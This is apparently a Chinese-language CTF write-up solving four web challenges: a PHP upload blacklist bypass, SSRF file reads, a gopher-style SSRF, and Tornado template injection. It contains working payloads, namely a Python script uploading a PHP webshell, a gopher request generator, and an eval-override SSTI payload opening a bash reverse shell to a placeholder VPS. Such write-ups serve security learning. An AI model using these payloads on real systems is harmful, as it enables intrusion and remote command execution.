1.php签到
php
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测
上传一个1.php/.,在file_put_contents函数中,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马
由于没有上传点,用py上传
python
import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)
/要用url编码
在环境变量里面找到flag
2.Mybox
直接url=file:///proc/1/environ拿到flag
3.MyBox(revenge)
下载源码
url=file:///app/app.py
python
from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__)
@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
with open(url[7: ], 'r') as f:
return f.read()
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18: ].split('/_', maxsplit = 1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5) s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b ''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''
app.run('0.0.0.0', 827)
如果以file://开头,则返回后面的文件内容
如果以http://localhost/开头,则发送一个get请求,获取url内容
如果以mybox://127.0.0.1:开头,后面的内容/_左边为端口,右边为内容,建立一个socket连接发送解码后的内容,这个mybox其实就是魔改的gophar
用脚本生成一个gophar请求
python
import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
因为是get请求,二次url编码,可能环境有问题,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞 CVE-2021-41773反弹shell拿到flag
4.MyHurricane
打开是乱的py源码
整理一下
python
import tornado.ioloop
import tornado.web
import os
BASE_DIR = os.path.dirname(__file__)
def waf(data):
# Web Application Firewall (WAF) function to filter out certain patterns
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True
class IndexHandler(tornado.web.RequestHandler):
def get(self):
# Handle GET requests, read and display the content of the current file
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
# Handle POST requests, perform WAF check, and write to HTML file if valid
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html><body>{data}</body></html>""")
f.flush()
self.render('1.html') # Render the created HTML file
else:
self.finish('no no no') # Reject request if WAF check fails
if __name__ == "__main__":
# Initialize Tornado web application
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=
是一个Tornado框架
WAF过滤一些ssti用到的符号
参数是ssti,post提交,由于过滤了{{ 和}},可以使用{% %}
搜索相关bypass发现include不需要括号可以包含文件
包含/proc/1/environ得到flag
但这是非预期解
预期解:
利用_tt_utf8进行变量覆盖绕过
tornado在渲染时会执行_tt_utf8(_tt_tmp),将_tt_utf8变量定义为eval,_tt_tmp从post传参,那么就能执行命令,这里抄用其他师傅的payload
{% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&shell=import('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
在环境变量里面找到flag